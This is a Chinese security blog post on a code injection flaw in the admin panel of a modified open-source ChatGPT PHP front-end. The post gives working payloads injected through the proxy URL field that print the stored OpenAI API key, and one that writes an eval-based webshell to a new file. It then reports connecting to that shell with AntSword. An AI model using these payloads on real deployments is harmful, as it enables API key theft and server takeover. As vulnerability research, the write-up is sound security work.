某基于ChatGPT开源项目引发的交互接口getshell

admin 2023年4月9日21:38:16评论49 views字数 2322阅读7分44秒阅读模式

0X00 前情提要

前段时间OpenAI火爆一时,随着ChatGPT-3.5到4的发布,诞生出了很多基于API密钥调用ChatGPT服务的第三方开源项目。但是不安全的问题也随之出现,使用者怎么保护好自己的API密钥不被恶意攻击者获取,变得尤为重要。上月某日,网上出现了一款开源的第三方项目来调用ChatGPT服务(https://github.com/dirk1983/chatgpt) ,其中某论坛放出了具有后台管理功能的二开源码,于是下载了源代码,在相关文件中发现后台未严格过滤用户输入的字符,可导致API接口密钥泄露和获取Webshell权限。

0x01 代码分析

先看下作者原版的代码,是没有adminkey.php这个文件的,而二开版本中也就是通过这个文件实现了所谓的后台管理功能。

某基于ChatGPT开源项目引发的交互接口getshell

下图是二开版本的源码

某基于ChatGPT开源项目引发的交互接口getshell

打开adminkey.php文件,可以看到进行后台操作,需要通过Authenticate标头的形式进行后台用户登录验证的,同时源代码中还写了后台的登录用户名和密码。

某基于ChatGPT开源项目引发的交互接口getshell

访问http://xx.xx.xx.xx/adminkey.php ,并且登录成功,只有更新API Key和更新代理两个功能。但是不论是该源码的原始版本还是这个二开版本,都是不需要数据库就可以直接运行的,所以它既然能更新Key不排除是写入到了本地文件中再进行调用的。

某基于ChatGPT开源项目引发的交互接口getshell

通过查看其它文件,印证了前面的推断。每次通过后台更新的Key被覆盖写入了straem.php文件里的$OPENAI_API_KEY变量中了。

某基于ChatGPT开源项目引发的交互接口getshell

再来看下adminkey.php文件中关于更新KEY这部分的代码,input标签中name属性定义的值为api_key,再使用预定义的$_POST变量拿到input标签传进来的值,也就是用户输入的Key,使用preg_replace函数正则匹配stream.php文件中原Key值的位置并替换为新key的值,整个更新key的过程没有发现有对人机接口做字符过滤或长度限制。

某基于ChatGPT开源项目引发的交互接口getshell

0x02 获取思路

a.使用echo函数打印stream.php中的变量获取API Key。

b.使用注释法令其部分php代码部分无法正常解析,插入新的PHP代码从而获取API Key

0x03 OpenAI Key密钥获取

  • 方法a

某基于ChatGPT开源项目引发的交互接口getshell

目的在于获取存储在PHP文件中的Key,所以不能使用更新API Key功能,否则会覆盖掉原来的Key,但是我们可以在自定义代理这里插入我们需要提交的payload语句。

某基于ChatGPT开源项目引发的交互接口getshell

正常流程更新代理URL接口后,下图中的url会自动被覆盖掉,同时自动补全");部分进行语句闭合。

某基于ChatGPT开源项目引发的交互接口getshell

这里我们先使用");进行语句闭合,然后再插入构造的payload语句,上面提到不管怎么插入,系统会自动补全");来闭合传入的参数,这样的话就没法执行打印函数了,所以直接使用注释语句/*,来进行整段注释。

');echo $OPENAI_API_KEY;/*

某基于ChatGPT开源项目引发的交互接口getshell

此时我们去访问下存放API密钥的stream.php这个文件,已成功回显sk-开头的密钥了。

某基于ChatGPT开源项目引发的交互接口getshell

下图为没插入构造语句时,访问stream.php文件返回的页面:

某基于ChatGPT开源项目引发的交互接口getshell

  • 方法b:

和方法a相同的是,为避免原来的Key被覆盖,还是在代理URL接口功能处提交构造的payload。

某基于ChatGPT开源项目引发的交互接口getshell

存放代理URL的代码部分相较于存放Key的代码部分在PHP文件的底部,所以使用?>闭合掉php文件中前半部分代码,再插入新的PHP代码来调用显示APK key。

');?><?php echo htmlspecialchars($OPENAI_API_KEY); ?>/*

某基于ChatGPT开源项目引发的交互接口getshell

某基于ChatGPT开源项目引发的交互接口getshell

0x04 Webshell写入思路

既然能通过调用变量获取API密钥,那么写马进去是不是也能执行呢?尝试了下显然没有达到预期效果,相关函数会执行,但到浏览器前端不解析了,直接加载出了html代码,分析下原因应该是PHP文件中出现了多个<?php标识头导致的(即便有*/注释符)。

某基于ChatGPT开源项目引发的交互接口getshell

1.当前PHP文件覆盖写入webshell不解析,但是可执行函数、可调用变量。

2.利用可执行函数的特性,尝试创建新文件,在新文件中写入webshell。

0x05 Getshll尝试

使用" ');?> "闭合语句,段注释符“*//*”注释掉Payload前后的原始代码,使用$file变量定义同级目录下要创建的文件名(2.php),使用$content变量定义webshell内容,使用file_put_contents()函数将webshell代码写入2.php文件。

  • Payload:

');?>*/<?php $file = './2.php'; $content = '<?php eval($_REQUEST[a]);?>';file_put_contents($file, $content)?>/*

写入执行试下看:

某基于ChatGPT开源项目引发的交互接口getshell

这里要先访问stream.php加载相关创建文件的函数后,才会创建2.php文件(网页预计加载3-5秒左右才能创建出来)

某基于ChatGPT开源项目引发的交互接口getshell

在服务器上看stream.php的文件内容是这样的,payload运行在前后注释符中间

某基于ChatGPT开源项目引发的交互接口getshell

使用蚁剑成功连接webshell

某基于ChatGPT开源项目引发的交互接口getshell

某基于ChatGPT开源项目引发的交互接口getshell

0x06 总结

前半章只是列举了获取API key的方法,同样的思路也可以导致ChatGPT服务URL接口地址泄露(如:";?> /* "),而木马也不仅仅局限于文件上传或SQL注入写入等方式,通过对以上开源项目的测试,可见对人机交互接口进行字符过滤限制的重要性,映射到我们日常使用的信息系统中,还有很多业务功能的实现都依托于API密钥的调用,轻则API密钥被窃取,重则失去服务器控制权,可能会导致系统内敏感数据外泄、业务生产数据丢失等严重后果。


原文始发于微信公众号(ATL安全团队):某”基于ChatGPT“开源项目引发的交互接口getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月9日21:38:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某基于ChatGPT开源项目引发的交互接口getshellhttp://cn-sec.com/archives/1660891.html

发表评论

匿名网友 填写信息